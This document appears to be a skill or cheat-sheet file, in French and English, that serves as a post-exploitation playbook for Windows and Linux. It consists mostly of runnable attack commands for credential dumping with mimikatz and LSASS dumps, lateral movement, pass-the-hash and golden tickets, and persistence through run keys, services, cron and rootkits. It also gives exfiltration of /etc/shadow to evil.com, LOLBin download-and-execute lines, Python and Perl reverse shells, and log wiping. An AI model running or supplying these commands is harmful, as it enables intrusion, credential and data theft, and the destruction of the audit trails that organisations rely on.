| name | post-exploitation |
| description | Post-Exploitation — mouvement latéral, persistance, exfiltration, Living-off-the-Land (LOLBins), DPAPI, credential dumping, et covering tracks |
| tags | ["post-exploitation","lateral-movement","persistence","exfiltration","LOTL","credential","covering-tracks"] |
| version | 1 |
Post-Exploitation
Guide complet de post-exploitation — après l'accès initial, comment se maintenir, pivoter, exfiltrer, et effacer ses traces.
1. Information Gathering
Windows
# Système
systeminfo | findstr /B /C:"OS Name" /C:"System Type"
whoami && whoami /groups
net localgroup administrators
nltest /domain_trusts
# Réseau
ipconfig /all
netstat -ano | findstr LISTEN
arp -a
route print
# Processus
tasklist /v
wmic process get name,processid,parentprocessid,executablepath
# Logiciels
wmic product get name,version
dir "C:\Program Files" /b
dir "C:\Program Files (x86)" /b
PowerShell (stealth)
# Sans AMSI detection (si bypassé)
Get-WmiObject -Class Win32_ComputerSystem
Get-CimInstance -ClassName Win32_OperatingSystem
Get-Service | Where-Object {$_.Status -eq "Running"}
Get-Process | Select-Object Name,Id,Path,StartTime
Linux
uname -a
cat /etc/os-release
id
who -a
last -10
ss -tlnp
ss -ulnp
ip addr
iptables -L -n -v
ps auxf --forest
systemctl list-units --state=running
2. Credential Dumping
Windows — SAM & LSASS
# SAM (local passwords)
# Registry hives
reg save hklm\sam C:\temp\sam.save
reg save hklm\system C:\temp\system.save
reg save hklm\security C:\temp\security.save
# Crack avec impacket
impacket-secretsdump -sam sam.save -system system.save LOCAL
# LSASS (memory dump)
# Technique : MiniDump via Task Manager
# ou procdump (legitimate Microsoft tool)
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" exit
Windows — Mimikatz
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonPasswords
mimikatz # lsadump::sam
mimikatz # lsadump::cache
mimikatz # lsadump::dcsync /domain:target.local /user:Administrator
Windows — DPAPI
# Décrypter credentials stockés par Windows
# - Chrome/Edge passwords
# - RDP credentials
# - WiFi passwords
# - Windows Vault
# Master Key files
dir C:\Users\*\AppData\Roaming\Microsoft\Protect
# Backup key (domain)
dir \\dc\sysvol\domain\Policies
Linux — /etc/shadow
cat /etc/shadow
john --wordlist=wordlist.txt /etc/shadow
hashcat -m 1800 /etc/shadow wordlist.txt
Linux — Memory dump
cat /proc/1/environ
gcore <lsass-like-process>
3. Lateral Movement
PsExec (Windows)
# Sysinternals PsExec
psexec \\target -u domain\user -p password cmd.exe
psexec \\target -s cmd.exe # As SYSTEM
# Impacket equivalent
impacket-psexec domain/user:password@target
impacket-wmiexec domain/user:password@target
impacket-smbexec domain/user:password@target
WMI
# Create process remotely
wmic /node:target /user:domain\user process call create "cmd.exe /c calc.exe"
# PowerShell WMI
Invoke-WmiMethod -ComputerName target -Class Win32_Process -Name Create -ArgumentList "powershell.exe -enc base64"
WinRM
# WinRM (5985/5986)
Enter-PSSession -ComputerName target -Credential domain\user
Invoke-Command -ComputerName target -ScriptBlock { whoami }
SMB / WMIExec
impacket-wmiexec domain/user:password@target
impacket-smbexec domain/user:password@target
impacket-dcomexec domain/user:password@target
SSH (Linux)
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
scp -i private_key exploit.sh user@target:/tmp/
Pass-the-Hash
# NTLM hash without password
sekurlsa::pth /user:Admin /domain:target /ntlm:hash /run:cmd.exe
# Then psexec with this cmd
Pass-the-Ticket (Kerberos)
# Golden Ticket (KRBTGT hash)
mimikatz # kerberos::golden /domain:target.local /sid:S-1-5-21-... /krbtgt:hash /user:Administrator /ticket:admin.kirbi
# Pass the ticket
mimikatz # kerberos::ptt admin.kirbi
4. Persistence
Windows Persistence
# Registry Run Keys
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\Windows\Tasks\svchost.exe"
# Startup folder
copy evil.exe "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
# Scheduled Task
schtasks /create /tn "SystemUpdate" /tr "C:\Windows\Tasks\update.exe" /sc daily /st 09:00
# Service
sc create EvilService binPath= "C:\Windows\Temp\evil.exe" start= auto
sc start EvilService
# WMI Event Subscription (stealthy)
# Permanent WMI event = execution on event trigger
Linux Persistence
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.evil.sh") | crontab -
cat > /etc/systemd/system/evil.service << 'EOF'
[Unit]
Description=System Update Service
[Service]
ExecStart=/tmp/.evil
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable evil.service
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo "ssh-rsa AAA..." >> ~/.ssh/authorized_keys
echo "/path/to/hook.so" > /etc/ld.so.preload
insmod rootkit.ko
5. Data Exfiltration
Over DNS
dnscat2-v0.07-client.exe evil.com
nslookup $(base64 secret.txt | tr -d '\n' | cut -c1-63).exfil.evil.com
Over HTTP/HTTPS
curl -X POST -d "data=$(base64 -w0 /etc/shadow)" https://evil.com/upload
curl -F "file=@document.pdf" https://file.io
Over ICMP
ping -p <hex_data> evil.com
6. Living off the Land (LOLBins)
Windows LOLBins
# Certutil (download/decode)
certutil -urlcache -split -f http://evil.com/payload.exe C:\Windows\Temp\payload.exe
certutil -decode encoded.txt decoded.exe
# Bitsadmin (download)
bitsadmin /transfer job /download /priority high http://evil.com/beacon.exe C:\temp\beacon.exe
# Mshta (execute HTA)
mshta http://evil.com/evil.hta
# Regsvr32 (execute DLL)
regsvr32 /s /u /i:http://evil.com/evil.sct scrobj.dll
# Cscript/Wscript
cscript //nologo evil.js
# Rundll32
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=CreateObject('MSXML2.XMLHTTP');o.open('GET','http://evil.com/connect',false);o.send();eval(o.responseText);
# Msiexec
msiexec /q /i http://evil.com/evil.msi
# Powershell without powershell.exe
# Using InstallUtil, regsvcs, regasm
Linux LOLBins
wget -q http://evil.com/script.sh -O /dev/shm/.x
python3 -c 'import socket,subprocess;s=socket.socket();s.connect(("evil.com",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
perl -e 'use Socket;$i="evil.com";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}'
7. Covering Tracks
Windows
# Clear event logs
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
wevtutil cl "Windows PowerShell"
# Clear PowerShell history
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force
Set-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced -Name Start_TrackProgs -Value 0
# Clear prefetch
del C:\Windows\Prefetch\* /q
Linux
history -c
> ~/.bash_history
> ~/.zsh_history
sed -i '/evil_ip/d' /var/log/auth.log
sed -i '/connecting_time/d' /var/log/syslog
/etc/init.d/rsyslog stop
/etc/init.d/rsyslog start
journalctl --vacuum-time=1s
rm -rf /var/log/journal/*
8. Tools Compendium
| Catégorie | Outil | Usage |
|---|
| Credential | Mimikatz | Windows credentials |
| Credential | Lazagne | Multi-platform creds |
| Credential | lsassy | Remote LSASS dump |
| Lateral | Impacket | Protocol suite |
| Lateral | CrackMapExec | Automated assessment |
| Lateral | BloodHound | AD relationship mapper |
| Lateral | PowerView | AD enumeration |
| Exfil | dnscat2 | DNS tunneling |
| Exfil | pwnat | NAT traversal |
| Exfil | rclone | Cloud exfiltration |
| Persistence | SharPersist | Persistence toolkit |
| Persistence | PoshC2 | Post-exploitation |
| All-in-one | Metasploit | MSF post modules |
| All-in-one | Cobalt Strike | Beacon + toolkit |
| All-in-one | Sliver | Open source C2 |
9. Resources
